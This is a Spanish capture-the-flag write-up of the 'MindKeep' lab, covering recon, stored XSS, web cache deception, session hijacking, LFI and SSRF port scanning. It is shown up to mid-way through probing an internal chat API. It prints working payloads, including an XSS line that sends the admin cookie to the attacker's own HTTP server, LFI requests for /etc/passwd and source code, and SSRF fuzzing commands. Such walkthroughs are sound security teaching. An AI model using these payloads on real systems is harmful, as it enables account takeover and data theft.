July 17, 2026
The Hackers Labs Writeup — MindKeep (Spanish)
A continuación, describo la guía de resolución del laboratorio de The Hackers Labs denominado “MindKeep”.

By David Prieto Montero (a.k.a Pyth0nK1d)
25 min read
Este laboratorio está catalogado con la dificultad "Experto" y su autor es "0xR0_" (Medium: 0xR0_).
ATENCIÓN
Las herramientas y técnicas utilizadas en la resolución de este laboratorio han sido ejecutadas en un entorno controlado. El autor de esta publicación no se hace responsable del mal uso que se haga de estas, ya que el objetivo final de esta publicación es transmitir conocimientos con fines éticos y educativos.
Resumen de contenido sobre este laboratorio
Tags: Bug Bounty, Cadena de vulnerabilidades web, Compromiso de cuenta (Account Takeover [ATO]), Divulgación de información, Divulgación de información mediante memoria compartida (Shared Memory Information Leak), Flask, Mala configuración de aplicación, Reutilización de contraseñas, Seguridad por oscuridad, Seguridad web
Antes de comenzar, se indica un resumen de las explotaciones exitosas llevadas a cabo para completar este laboratorio:
- Encadenamiento de vulnerabilidades presentes en distintas aplicaciones web llevan al descubrimiento de unas credenciales que permiten realizar el acceso inicial al sistema objetivo a través del servicio SSH como el usuario
jessy. - Investigación y análisis de una API encargada de persistir archivos del sistema en caché. En esta se detectan credenciales en texto plano que permiten acceder como el usuario
it. - Aprovechando la misma API, es posible utilizarla para extraer la clave privada del usuario
root, permitiendo acceder a través de SSH como este. - Investigación adicional realizada entorno al reto planteado en este laboratorio para entender ciertos apartados de su funcionamiento y aportar nuevas formas de abordar el mismo problema.
Reconocimiento inicial
Se inicia el reconocimiento mediante un ping a la máquina. Esto se hace por un lado para detectar que la máquina se encuentra accesible y por otro lado para poder detectar el sistema operativo mediante el TTL asignado.
ping -c 1 10.0.250.27ping -c 1 10.0.250.27
Se puede comprobar que el TTL asignado es 64, indicando que la máquina está accesible directamente sin ningún nodo intermediario y por otro lado que el sistema subyacente es GNU/Linux.
Una vez hecho esto, se realiza un reconocimiento de los servicios disponibles en dos fases. En la primera, se realiza un escaneo de todos los puertos TCP usando nmap para detectar en primera instancia cuales de ellos son accesibles (open), utilizando un escaneo TCP SYN.
sudo nmap -sS -p- --min-rate 1000 -n -Pn 10.0.250.27 -oN allPortssudo nmap -sS -p- --min-rate 1000 -n -Pn 10.0.250.27 -oN allPorts
En la segunda, se realiza un reconocimiento básico de los servicios subyacentes también mediante el uso de nmap. Esta vez, realizando dicha tarea de reconocimiento únicamente en los puertos detectados como abiertos.
nmap -sCV -p 22,80 -n -Pn 10.0.250.27 -oN servicesnmap -sCV -p 22,80 -n -Pn 10.0.250.27 -oN services
En este caso, se omite el escaneo de puertos UDP, ya que para esta máquina en particular no tiene ningún servicio relevante para llevar a cabo el ejercicio.
Acceso inicial (jessy)
En este caso se detecta que hay dos puertos abiertos:
- Puerto 22 (servicio SSH, OpenSSH)
- Puerto 80 (servicio HTTP, nginx 1.24.0)
Además, gracias a la detección del servicio, se detecta que el sistema subyacente es Ubuntu.
Al comprobar la salida de nmap, se detecta que se intenta resolver un dominio que sugiere que pertenece a este laboratorio.
Para hacer que resuelva este dominio, es necesario añadir dicho dominio junto a la IP correspondiente en el archivo /etc/hosts de la máquina local, ya que parece estar aplicando virtual hosting basado en nombre para servirlo.
sudo mousepad /etc/hosts
10.0.250.27 mindkeep.thl (añadir esta linea y guardar los cambios)sudo mousepad /etc/hosts
10.0.250.27 mindkeep.thl (añadir esta linea y guardar los cambios)Al intentar resolverlo con el dominio, este parece mostrar una página para organizar ideas mediante un sistema de notas basado en web.
URL -> http://mindkeep.thlURL -> http://mindkeep.thl
Revisando el código fuente se detecta un nuevo dominio.
URL -> view-source:http://mindkeep.thlURL -> view-source:http://mindkeep.thl
Para hacer que resuelva este dominio, es necesario añadir dicho dominio junto a la IP correspondiente en el archivo /etc/hosts de la máquina local, ya que parece estar aplicando virtual hosting basado en nombre para servirlo.
sudo mousepad /etc/hosts
10.0.250.27 mindkeep.thl mindkeep.htb (modificar esta linea y guardar los cambios)sudo mousepad /etc/hosts
10.0.250.27 mindkeep.thl mindkeep.htb (modificar esta linea y guardar los cambios)Nota importante: Acceder al nuevo dominio "mindkeep.htb" resulta en una redirección a "mindkeep.thl", lo que parece ser un guiño de parte del autor del laboratorio. Por ello, se omite este dominio a la hora de continuar con la resolución.
Al escanear en busca de nuevos recursos, se detectan unos muy concretos, y que destaca en directorios que requieren de autenticación, sin dar ninguna pista adicional, en cuanto a extensiones o archivos concretos que puedan dar más información sobre el backend.
gobuster dir -u http://mindkeep.thl -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -t 50 -x php,html,txt,zipgobuster dir -u http://mindkeep.thl -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -t 50 -x php,html,txt,zip
Al no disponer de credenciales válidas, se aprovecha el recurso "register", el cual ofrece un formulario de registro para poder crear una cuenta.
URL -> http://mindkeep.thl/register/
Username: Pyth0nK1d
Password: <RECORTADO>URL -> http://mindkeep.thl/register/
Username: Pyth0nK1d
Password: <RECORTADO>
Una vez creada, se redirige automáticamente a la página de login, donde es posible acceder con la cuenta recién creada.
URL -> http://mindkeep.thl/login/URL -> http://mindkeep.thl/login/
Esto permite acceder a un panel desde el cual se dispone de una serie de funcionalidades, y desde donde es posible continuar investigando.
URL -> http://mindkeep.thl/dashboard/ (Autenticado)URL -> http://mindkeep.thl/dashboard/ (Autenticado)
Identificación del backend, análisis de recursos y verificación de vulnerabilidades identificadas
Al revisar cómo se gestiona la sesión activa de la aplicación, esta se hace mediante un token que parece constituirse con un formato similar a un JWT. Además, se comprueba que esta cookie de sesión no tiene asignada el atributo ****HttpOnly. Esto implica que esta es accesible mediante JavaScript, haciendo esta vulnerable a robos mediante ataques XSS.
Cookie: session=eyJ1c2VyX2lkIjoyLCJ1c2VybmFtZSI6IlB5dGgwbksxZCJ9.<RECORTADO>
HttpOnly: false
Referencia (HttpOnly): https://portswigger.net/kb/issues/00500600_cookie-without-httponly-flag-setCookie: session=eyJ1c2VyX2lkIjoyLCJ1c2VybmFtZSI6IlB5dGgwbksxZCJ9.<RECORTADO>
HttpOnly: false
Referencia (HttpOnly): https://portswigger.net/kb/issues/00500600_cookie-without-httponly-flag-set
Al continuar indagando sobre el formato de este token, se comprueba su estructura en JWT.io. Al facilitar el token, se puede comprobar que la carga útil aparece en el segmento de cabeceras, lo que no parece coincidir con un formato convencional de JWT.
Además, como el identificador de usuario especificado como "user_id" en la carga útil del token muestra el valor "2", puede estar dando una pista de que exista otro usuario con valor "1" y que este pueda ser el usuario administrador del sitio.
Continuando con el token, dado que no tiene pinta de corresponder con el formato de un JWT, se comprueba si coincide con un formato en particular.
Para ello, lo primero que se comprueba (como se ha podido ver en JWT.io) es que efectivamente, la primera sección del token corresponde a la carga útil codificada en Base64. El primer segmento corresponde con la carga útil.
echo 'eyJ1c2VyX2lkIjoyLCJ1c2VybmFtZSI6IlB5dGgwbksxZCJ9' | base64 -d
...
{"user_id":2,"username":"Pyth0nK1d"}echo 'eyJ1c2VyX2lkIjoyLCJ1c2VybmFtZSI6IlB5dGgwbksxZCJ9' | base64 -d
...
{"user_id":2,"username":"Pyth0nK1d"}
La segunda sección, tras investigar, parece corresponder a un timestamp Unix.
Esta sección se encuentra codificado en Base64 compatible con URLs, también denominado Base64URL-Safe. Los bytes resultantes tras su descodificación representan un número entero en big-endian. Este número representa un timestamp Unix.
Se indica a continuación algunas de las referencias utilizadas para investigar.
Referencia (URL-Safe Timestamps Using Base64): https://www.guyrutenberg.com/2010/04/30/url-safe-timestamps-using-base64/
Referencia (Serialize date to url safe string in Python): https://stackoverflow.com/questions/9641313/serialize-date-to-url-safe-string-in-python
Referencia (Endianness of integers in Python): https://stackoverflow.com/questions/1400012/endianness-of-integers-in-pythonReferencia (URL-Safe Timestamps Using Base64): https://www.guyrutenberg.com/2010/04/30/url-safe-timestamps-using-base64/
Referencia (Serialize date to url safe string in Python): https://stackoverflow.com/questions/9641313/serialize-date-to-url-safe-string-in-python
Referencia (Endianness of integers in Python): https://stackoverflow.com/questions/1400012/endianness-of-integers-in-pythonEl script utilizado para comprobar y validar que la segunda sección del token corresponde a un timestamp UNIX es el siguiente:
# check_timestamp.py
import base64
import struct
from datetime import datetime
timestamp_b64 = "<SEGUNDA_SECCION_TOKEN_AQUI>"
# Descodificar base64url-safe (añadiendo padding)
ts_bytes = base64.urlsafe_b64decode(timestamp_b64 + "==")
# Desenpaquetar en bloques de 4 bytes en formato big-endian enteros sin signo o "unsigned int" (solo los primeros 4 bytes)
# Los bytes restantes son todo ceros
timestamp_int = struct.unpack(">I", ts_bytes[:4])[0]
# Mostrar el timestamp Unix (número entero)
print(f"Unix timestamp: {timestamp_int}")
# Mostrar el timestamp en formato fecha completa
print(f"Human readable: {datetime.fromtimestamp(timestamp_int)}")# check_timestamp.py
import base64
import struct
from datetime import datetime
timestamp_b64 = "<SEGUNDA_SECCION_TOKEN_AQUI>"
# Descodificar base64url-safe (añadiendo padding)
ts_bytes = base64.urlsafe_b64decode(timestamp_b64 + "==")
# Desenpaquetar en bloques de 4 bytes en formato big-endian enteros sin signo o "unsigned int" (solo los primeros 4 bytes)
# Los bytes restantes son todo ceros
timestamp_int = struct.unpack(">I", ts_bytes[:4])[0]
# Mostrar el timestamp Unix (número entero)
print(f"Unix timestamp: {timestamp_int}")
# Mostrar el timestamp en formato fecha completa
print(f"Human readable: {datetime.fromtimestamp(timestamp_int)}")Al ejecutar este script, este resulta en mostrar el timestamp específico en el que se realiza el login en la aplicación, lo que confirma esta teoría. La segunda sección corresponde con un timestamp UNIX.
python3 check_timestamp.py
...
Unix timestamp: <RECORTADO>
Human readable: <RECORTADO>python3 check_timestamp.py
...
Unix timestamp: <RECORTADO>
Human readable: <RECORTADO>
Por último, la tercera sección debe corresponder por eliminación a la parte de firma, permitiendo proteger la integridad del token. Sin embargo, al no disponer del secreto utilizado, no es posible verificarlo.
Formato del token analizado: payload.timestamp.signatureFormato del token analizado: payload.timestamp.signatureAl investigar este formato en particular, este resulta en coincidir en el formato utilizado para generar tokens utilizado por un componente criptográfico denominado "itsdangerous", el cual corresponde con el utilizado por defecto en el framework Flask para implementar el sistema de sesiones. Esto significa que si no se ha realizado una personalización muy concreta sobre esta aplicación web, se puede concluir que el framework utilizado para desarrollar esta aplicación es Flask.
Referencia (itsdangerous, cryptographic helper): https://github.com/pallets/itsdangerous/tree/main
Referencia (Flask framework using itsdangerous): https://github.com/pallets/flask/blob/main/src/flask/sessions.py
Referencia (Flask sessions implemented via itsdangerous by default): https://flask.palletsprojects.com/en/latest/api/#flask.sessions.SecureCookieSessionInterfaceReferencia (itsdangerous, cryptographic helper): https://github.com/pallets/itsdangerous/tree/main
Referencia (Flask framework using itsdangerous): https://github.com/pallets/flask/blob/main/src/flask/sessions.py
Referencia (Flask sessions implemented via itsdangerous by default): https://flask.palletsprojects.com/en/latest/api/#flask.sessions.SecureCookieSessionInterfaceConfirmación de investigación: Revisando el código fuente del componente "itsdangerous", se puede comprobar que la definición del timestamp es opcional. Sin embargo, el uso de este módulo implementado en Flask obliga la definición de un timestamp haciéndolo siempre presente en un token de sesión, tanto si se utiliza para caducar la sesión como si no.
Tras esta pequeña investigación, se ha conseguido descubrir el backend de esta aplicación, el cual es importante conocer para un apartado posterior.
Dejando a un lado el token y tras seguir investigando recursos del panel, se puede comprobar que existe una sección con un apartado de características añadidas sobre la aplicación web.
URL -> http://mindkeep.thl/features/URL -> http://mindkeep.thl/features/
El primer apartado especifica que en una sección de notas accesible desde el panel se ha realizado una optimización del desempeño mediante un almacenamiento temporal o caching de la página. Se tiene en cuenta este punto para confirmar si es así más adelante, ya que afecta a una sección accesible.
URL -> http://mindkeep.thl/features/optimized_perfomance/
...
This new caching implementation is only available in the My Notes section. Access your dashboard to get there.URL -> http://mindkeep.thl/features/optimized_perfomance/
...
This new caching implementation is only available in the My Notes section. Access your dashboard to get there.
El segundo apartado especifica que se ha realizado un rediseño del entorno de trabajo. Nada interesante aquí.
URL -> http://mindkeep.thl/features/design/URL -> http://mindkeep.thl/features/design/
El tercero y último apartado especifica que MindKeep ya se encuentra en producción. Nada interesante aquí tampoco.
URL -> http://mindkeep.thl/features/production/URL -> http://mindkeep.thl/features/production/
Tras continuar revisando funcionalidades, se detectan las siguientes tres que se revisan más detenidamente:
- "Profile" (con botón para acceder a "Report a bug")
- "Report a bug"
- "My Notes"
Revisando la página de "Profile" se puede comprobar una funcionalidad desarrollada para poder cambiar tanto el nombre de usuario como la contraseña, pero no parece funcionar tras interactuar con esta.
Además, casualmente muestra un botón para reportar cualquier problema encontrado que lleva al apartado "Report a bug".
URL -> http://mindkeep.thl/dashboard/profile/URL -> http://mindkeep.thl/dashboard/profile/
Revisando la página de "Report a bug", se observa un formulario con el que se puede describir un problema encontrado para reportarlo, el cual posteriormente un administrador lo revisará, tal y como indica el propio formulario en su descripción.
Además, se puede apreciar al rellenarlo con información cualquiera que al enviarlo aparece un mensaje de error indicando que la URL especificada debe pertenecer al dominio "mindkeep.thl".
URL -> http://mindkeep.thl/dashboard/bug/
An administrator will review the submitted URL to verify the validity of the reported issue
...
Only URLs from mindkeep.thl are allowed.URL -> http://mindkeep.thl/dashboard/bug/
An administrator will review the submitted URL to verify the validity of the reported issue
...
Only URLs from mindkeep.thl are allowed.
Por último, el apartado de "My Notes" consiste en una funcionalidad para gestionar notas directamente desde la web. Algo a destacar tras indagar en esta funcionalidad es que las notas son únicamente accesibles por el usuario que las crea y que existe una funcionalidad para exportarlas, pero aparece bloqueada, incluso tras crear nuevas notas.
URL -> http://mindkeep.thl/dashboard/notes/URL -> http://mindkeep.thl/dashboard/notes/
Tras analizar más detenidamente esta funcionalidad, se detecta dentro del código JavaScript una función denominada "escapeHTML" la cual parece encargarse de aplicar una sanitización sobre un contenido ofrecido. Sin embargo, este no lo hace correctamente, ya que ni contempla todos los caracteres potencialmente peligrosos ni todas las ocurrencias de los que contempla, ya que el reemplazo no lo realiza de forma global.
// dashboard.js
function escapeHTML(str) {
return str
.replace("&", "&")
.replace("<", "<")
.replace(">", ">")
.replace("\"", """)
.replace("'", "'");
}// dashboard.js
function escapeHTML(str) {
return str
.replace("&", "&")
.replace("<", "<")
.replace(">", ">")
.replace("\"", """)
.replace("'", "'");
}
Se puede comprobar en la función "loadNotes" de este mismo archivo JavaScript que utiliza esta función sobre el contenido que carga de las notas guardadas en ambos campos de título y contenido, reflejando un contenido potencialmente inseguro dentro del DOM de la web.
// dashboard.js -> loadNotes()
card.innerHTML = `
<h3>${escapeHTML(note.title)}</h3>
<p>${escapeHTML(note.content)}</p>
<button class="btn-close" onclick="delNote(${note.id})">Delete Note</button>
`;// dashboard.js -> loadNotes()
card.innerHTML = `
<h3>${escapeHTML(note.title)}</h3>
<p>${escapeHTML(note.content)}</p>
<button class="btn-close" onclick="delNote(${note.id})">Delete Note</button>
`;
Teniendo en cuenta esta deficiente aproximación para sanitizar los datos introducidos en las notas, se consigue dar con una carga útil que permita ejecutar código JavaScript de forma arbitraria, persistiendo este en la nota y reflejándose tras cargarse, haciendo a ambos campos vulnerables a XSS almacenado (Stored XSS).
En resumen, XSS almacenado o Stored XSS es una vulnerabilidad en la que un atacante consigue almacenar código JavaScript malicioso en el servidor (por ejemplo, en un comentario, una publicación o en una nota como en este caso). Posteriormente, ese código se ejecuta automáticamente en el navegador de cualquier usuario que visualice el contenido afectado.
Nota importante: Tal y como está desarrollado el sistema de notas, el único que puede acceder a las notas directamente es el usuario que las ha creado, por lo que de forma normal un usuario no podría acceder a las notas de otro directamente.
Referencia (Stored XSS): https://portswigger.net/web-security/cross-site-scripting/storedReferencia (Stored XSS): https://portswigger.net/web-security/cross-site-scripting/storedSe muestra a continuación un ejemplo para comprobar la existencia y reproducibilidad de esta vulnerabilidad.
URL -> http://mindkeep.thl/dashboard/notes/
Title: Stored XSS
Content: <<img src=x onerror=alert("Pyth0nK1d") />>URL -> http://mindkeep.thl/dashboard/notes/
Title: Stored XSS
Content: <<img src=x onerror=alert("Pyth0nK1d") />>
Aquí se puede demostrar que gracias a esta vulnerabilidad es posible extraer una cookie de sesión mediante JavaScript, ya que se detectó anteriormente que no tiene asignada el atributo opcional HttpOnly.
A continuación, se muestra un nuevo ejemplo donde es posible extraer la cookie de sesión del usuario actual mediante JavaScript.
URL -> http://mindkeep.thl/dashboard/notes/
Title: Steal cookie
Content: <<img src=x onerror=alert(document.cookie) />>URL -> http://mindkeep.thl/dashboard/notes/
Title: Steal cookie
Content: <<img src=x onerror=alert(document.cookie) />>
Una vez confirmada que esta vulnerabilidad es explotable, se decide prestar atención al único elemento restante. Este consiste en el sistema de almacenamiento temporal o caching de la página de notas que se indicaba anteriormente en el apartado de características o features.
Una vulnerabilidad que potencialmente puede darse en este caso consiste en una denominada engaño de caché web o ****web cache deception.
En resumen, la vulnerabilidad engaño de caché web o web cache deception ocurre cuando un atacante consigue que una caché web almacene contenido privado o dinámico (por ejemplo, datos de una cuenta) haciéndolo pasar por un recurso estático. Esto sucede por diferencias en cómo la caché y el servidor interpretan una misma URL.
El atacante añade una extensión o ruta que parece corresponder a un archivo estático (por ejemplo, .css, .js o .jpg) a una URL que devuelve información privada. Si la caché y el servidor interpretan la URL de forma diferente, la caché almacena la respuesta confidencial creyendo que es contenido público, haciendo que se persista y posteriormente sirva contenido privado a través de la caché.
Referencia (Web cache deception): https://portswigger.net/web-security/web-cache-deceptionReferencia (Web cache deception): https://portswigger.net/web-security/web-cache-deceptionSiguiendo la referencia proporcionada, se puede comprobar que al introducir el delimitador mostrado en el ejemplo junto a un archivo estático cualquiera, la caché devuelve el estado "MISS", lo que significa que en esta ocasión ha devuelto una respuesta de la web y no de la caché. Esto se debe que posiblemente no se contemple el delimitador introducido.
GET /dashboard/notes/;testcache.js -> X-Cache-Status: MISSGET /dashboard/notes/;testcache.js -> X-Cache-Status: MISS
Sin embargo, al probar a cambiar el delimitador por el primero de la siguiente lista, la caché devuelve el estado "HIT", lo que significa que la respuesta se ha servido de la caché. Esto da a entender también que el delimitador utilizado es correctamente interpretado por la caché.
Referencia (Delimeter list): https://portswigger.net/web-security/web-cache-deception/wcd-lab-delimiter-list
GET /dashboard/notes/!testcache.js -> X-Cache-Status: HITReferencia (Delimeter list): https://portswigger.net/web-security/web-cache-deception/wcd-lab-delimiter-list
GET /dashboard/notes/!testcache.js -> X-Cache-Status: HIT
Este último hallazgo permite que se pueda hacer que un contenido específico sea visible a través de la página de notas para otros usuarios, como el administrador.
Resumen de hallazgos y correlación de estos para escalar privilegios
A continuación se describe un resumen de los hallazgos más relevantes encontrados hasta el momento:
- El token de sesión indica de forma indirecta que puede existir un usuario (posiblemente un administrador) con mayores privilegios en la web.
- La cookie de sesión no tiene asignada el atributo opcional ****HttpOnly, por lo que se puede extraer mediante JavaScript.
- **La sección para reportar **bugs es accedida por un administrador de forma manual para revisar los bugs reportados.
- **La sección para reportar **bugs solo acepta URLs de su mismo dominio.
- La sección de notas es vulnerable a Stored XSS.
- Se comprueba y confirma que la sección de notas tiene una caché web implementada y esta es vulnerable a ****Web Cache Deception.
Gracias a estos hallazgos es posible definir un vector de ataque para obtener acceso como usuario administrador de la web, consiguiendo comprometer dicha cuenta sin necesidad de credenciales válidas (Account Takeover, ATO).
El esquema del ataque consiste en el siguiente:
Escalada de privilegios en la web (usuario básico -> administrador, Account Takeover [ATO])
Para comenzar con el ataque, primero se establece un servidor HTTP.
python3 -m http.server 80python3 -m http.server 80
A continuación se establece en una nueva nota una carga útil aprovechando la vulnerabilidad Stored XSS encontrada en la página de notas para que extraiga la cookie de sesión de la web y la envíe como parámetro GET al servidor HTTP previamente establecido.
URL -> http://mindkeep.thl/dashboard/notes/
Title: Gimme cookie
Content: <<img src=x onerror=fetch("http://10.0.250.20/?c="+document.cookie) />>URL -> http://mindkeep.thl/dashboard/notes/
Title: Gimme cookie
Content: <<img src=x onerror=fetch("http://10.0.250.20/?c="+document.cookie) />>
Una vez definido, se aprovecha la vulnerabilidad Web Cache Deception para persistir el contenido de las notas generadas en la caché web.
GET /dashboard/notes/!Pyth0nK1d.js -> X-Cache-Status: HITGET /dashboard/notes/!Pyth0nK1d.js -> X-Cache-Status: HIT
Como siguiente paso, se reporta un bug incluyendo cualquier asunto y mensaje, pero especificando en el campo URL la página persistida en caché.
Subject: Important BUG!
Message: Found a bug, consider a review ASAP!
URL: http://mindkeep.thl/dashboard/notes/!Pyth0nK1d.jsSubject: Important BUG!
Message: Found a bug, consider a review ASAP!
URL: http://mindkeep.thl/dashboard/notes/!Pyth0nK1d.js
Tras esperar a que el usuario administrador consulte el enlace del bug reportado, se puede comprobar que en el servidor HTTP se registra la cookie de sesión de este.
Por último, se aprovecha la cookie de sesión obtenida para realizar un ataque de secuestro de sesión o session hijacking.
En resumen, un secuestro de sesión o session hijacking consiste en que un atacante obtenga o robe el identificador de sesión (o cookie de sesión) de un usuario autenticado para suplantar su identidad y acceder a la aplicación con los mismos privilegios, sin necesidad de conocer sus credenciales.
Referencia (Session hijacking): https://owasp.org/www-community/attacks/Session_hijacking_attackReferencia (Session hijacking): https://owasp.org/www-community/attacks/Session_hijacking_attackPara llevarlo a cabo simplemente se sustituye el token generado en el navegador por el obtenido en el servidor HTTP. Tras recargar la página se obtiene acceso a la sesión activa del usuario administrador directamente, consiguiendo así comprometer esta cuenta.
URL: http://mindkeep.thl/dashboard/
(reemplazar token en la cookie de sesión y recargar)URL: http://mindkeep.thl/dashboard/
(reemplazar token en la cookie de sesión y recargar)
Desde este punto, se puede comprobar la sección de tickets denominada "Bug Reports" donde se puede encontrar el reporte que ha consultado el administrador y que ha hecho posible esta escalada de privilegios.
URL: http://mindkeep.thl/dashboard/tickets/ (Administrador)URL: http://mindkeep.thl/dashboard/tickets/ (Administrador)
Funcionalidades privilegiadas ocultas + explotación de vulnerabilidades encadenadas = acceso inicial al sistema
Desde el contexto del usuario administrador de la web se comprueba que la funcionalidad de exportar notas que anteriormente se encontraba bloqueada, en este caso es posible utilizarla.
URL: http://mindkeep.thl/dashboard/notes/ (Administrador)URL: http://mindkeep.thl/dashboard/notes/ (Administrador)
Tras capturar la petición que genera el botón "Export Notes" al pulsarse, se puede comprobar que esta se encarga de obtener un archivo comprimido ZIP que parece contener un archivo JSON.
Punto a tener en cuenta: Tras comprobar el contenido del JSON, se puede apreciar que esta vacío. Esto se debe a que el usuario administrador no tiene creada ninguna nota. Por ello, se omite esta comprobación.
GET /api/features/export-notes?download=<RECORTADO>.zipGET /api/features/export-notes?download=<RECORTADO>.zip
Como esta funcionalidad se encarga de descargar un archivo en particular a través del parámetro GET "download", se prueba a sustituir por la ruta absoluta del archivo "/etc/passwd". Al hacerlo se puede comprobar que la funcionalidad devuelve su contenido, confirmando que esta es vulnerable a inclusión de archivos locales o Local File Inclusion (LFI).
En resumen, inclusión de archivos locales o LFI es una vulnerabilidad que permite a un atacante incluir o leer archivos locales del servidor mediante la manipulación de rutas de archivos proporcionadas por la aplicación. Dependiendo de la implementación, puede exponer información sensible y, en determinados escenarios, facilitar la ejecución de código.
Referencia (Local File Inclusion [LFI]): https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_File_InclusionReferencia (Local File Inclusion [LFI]): https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_File_InclusionAdemás, se puede comprobar que existen al menos dos usuarios del sistema a excepción de "root": "jessy" e "it".
GET /api/features/export-notes?download=/etc/passwd
Respuesta:
root:x:0:0:root:/root:/bin/bash
...
jessy:x:1001:1001:,,,:/home/jessy:/bin/bash
it:x:1002:1002:,,,:/home/it:/bin/bashGET /api/features/export-notes?download=/etc/passwd
Respuesta:
root:x:0:0:root:/root:/bin/bash
...
jessy:x:1001:1001:,,,:/home/jessy:/bin/bash
it:x:1002:1002:,,,:/home/it:/bin/bash
Conociendo que el framework utilizado para desarrollar esta web es Flask, se decide investigar el código fuente de la aplicación para intentar descubrir posibles funcionalidades ocultas. Se puede comprobar en la documentación oficial que el nombre del archivo que contiene el código fuente de la aplicación como atajo se le denomina "app.py" o "wsgi.py".
Referencia (Flask quickstart): https://flask.palletsprojects.com/es/stable/quickstartReferencia (Flask quickstart): https://flask.palletsprojects.com/es/stable/quickstartTras probar rutas absolutas comunes y rutas relativas, se termina detectando la ubicación del código fuente de la aplicación pudiendo así extraerse y leerse. Aquí es donde se termina confirmando que se ha desarrollado con Flask.
GET /api/features/export-notes?download=../app.pyGET /api/features/export-notes?download=../app.py
Al revisar el código fuente se detectan tres funcionalidades nuevas asociadas a la API que expone esta aplicación.
Las primeras dos solo pueden utilizarse por un usuario administrador. La primera se puede utilizar para ver las notas de otro usuario de la aplicación, mientras que la segunda no parece hacer nada adicional.
Por último, la tercera consiste en una funcionalidad para compartir notas que permite facilitar una URL a través de un parámetro GET sin restricciones.
Tras realizar una petición a través de la API introduciendo una URL que acceda a la web desde una perspectiva interna, se puede comprobar que esta contesta con el contenido HTML de la página principal de la web. Esto significa que es vulnerable a falsificación de solicitudes del lado servidor o Server-Side Request Forgery (SSRF).
En resumen, una falsificación de solicitudes del lado servidor o SSRF es una vulnerabilidad que permite a un atacante inducir a un servidor a realizar solicitudes HTTP u otras peticiones a recursos internos o externos en su nombre, pudiendo acceder a servicios internos, metadatos de la infraestructura o sistemas que normalmente no son accesibles desde fuera.
Referencia (Server-Side Request Forgery [SSRF]): https://portswigger.net/web-security/ssrf
curl -sL 'http://mindkeep.thl/api/preprod-mindkeep-api-v2/shared-notes/load/?url=http://127.0.0.1:80' -H 'Cookie: session=<RECORTADO>' | jq
...
<title>MindKeep</titleReferencia (Server-Side Request Forgery [SSRF]): https://portswigger.net/web-security/ssrf
curl -sL 'http://mindkeep.thl/api/preprod-mindkeep-api-v2/shared-notes/load/?url=http://127.0.0.1:80' -H 'Cookie: session=<RECORTADO>' | jq
...
<title>MindKeep</title
En este punto es posible aprovechar esta vulnerabilidad para escanear posibles servicios ocultos que puedan estar a la escucha. Este escaneo revela varios.
seq 1 65535 | ffuf -w - -u 'http://mindkeep.thl/api/preprod-mindkeep-api-v2/shared-notes/load/?url=http://127.0.0.1:FUZZ' -X GET -H 'Cookie: session=<RECORTADO>' -fs 20
...
Puertos:
80
3333
5000
9999
38599
55025seq 1 65535 | ffuf -w - -u 'http://mindkeep.thl/api/preprod-mindkeep-api-v2/shared-notes/load/?url=http://127.0.0.1:FUZZ' -X GET -H 'Cookie: session=<RECORTADO>' -fs 20
...
Puertos:
80
3333
5000
9999
38599
55025
Los puertos 80 y 5000 parecen exponer el mismo servicio, por lo que se omiten por el momento.
Al revisar el puerto 3333, se puede comprobar que consiste en otra aplicación web en el que no parece mostrar nada al acceder a la raíz directamente.
curl -sL 'http://mindkeep.thl/api/preprod-mindkeep-api-v2/shared-notes/load/?url=http://127.0.0.1:3333' -H 'Cookie: session=<RECORTADO>' | jq
...
Respuesta con código de estado 404 - No encontradocurl -sL 'http://mindkeep.thl/api/preprod-mindkeep-api-v2/shared-notes/load/?url=http://127.0.0.1:3333' -H 'Cookie: session=<RECORTADO>' | jq
...
Respuesta con código de estado 404 - No encontrado
Por ello, se realiza un escaneo de recursos web, de los cuales se detecta un nuevo sistema de autenticación junto a varios recursos relacionados con sistemas de mensajería o ****chats.
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -u 'http://mindkeep.thl/api/preprod-mindkeep-api-v2/shared-notes/load/?url=http://127.0.0.1:3333/FUZZ' -X GET -H 'Cookie: session=<RECORTADO>' -fs 227ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -u 'http://mindkeep.thl/api/preprod-mindkeep-api-v2/shared-notes/load/?url=http://127.0.0.1:3333/FUZZ' -X GET -H 'Cookie: session=<RECORTADO>' -fs 227
Al revisar ambos recursos se puede comprobar que el denominado "chat" devuelve el código HTML de lo que parece ser un formulario de login, mientras que "api" indica que el recurso "/" no existe, dando a entender que pueden existir más bajo este.
curl -sL 'http://mindkeep.thl/api/preprod-mindkeep-api-v2/shared-notes/load/?url=http://127.0.0.1:3333/chat' -H 'Cookie: session=<RECORTADO>' | jq
curl -sL 'http://mindkeep.thl/api/preprod-mindkeep-api-v2/shared-notes/load/?url=http://127.0.0.1:3333/api' -H 'Cookie: session=<RECORTADO>' | jqcurl -sL 'http://mindkeep.thl/api/preprod-mindkeep-api-v2/shared-notes/load/?url=http://127.0.0.1:3333/chat' -H 'Cookie: session=<RECORTADO>' | jq
curl -sL 'http://mindkeep.thl/api/preprod-mindkeep-api-v2/shared-notes/load/?url=http://127.0.0.1:3333/api' -H 'Cookie: session=<RECORTADO>' | jq
Al volver a escanear bajo el recurso "api", este revela un único recurso nuevo denominado "chat" nuevamente.
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -u 'http://mindkeep.thl/api/preprod-mindkeep-api-v2/shared-notes/load/?url=http://127.0.0.1:3333/api/FUZZ' -X GET -H 'Cookie: session=<RECORTADO>' -fs 227ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -u 'http://mindkeep.thl/api/preprod-mindkeep-api-v2/shared-notes/load/?url=http://127.0.0.1:3333/api/FUZZ' -X GET -H 'Cookie: session=<RECORTADO>' -fs 227
Al intentar acceder a este recurso, este devuelve un error indicando que no se ha especificado un ID de usuario, que al parecer es obligatorio.
curl -sL 'http://mindkeep.thl/api/preprod-mindkeep-api-v2/shared-notes/load/?url=http://127.0.0.1:3333/api/chat' -H 'Cookie: session=<RECORTADO>' | jq
...
{
"Success": "{\"error\":\"user id not specified\"}\n"
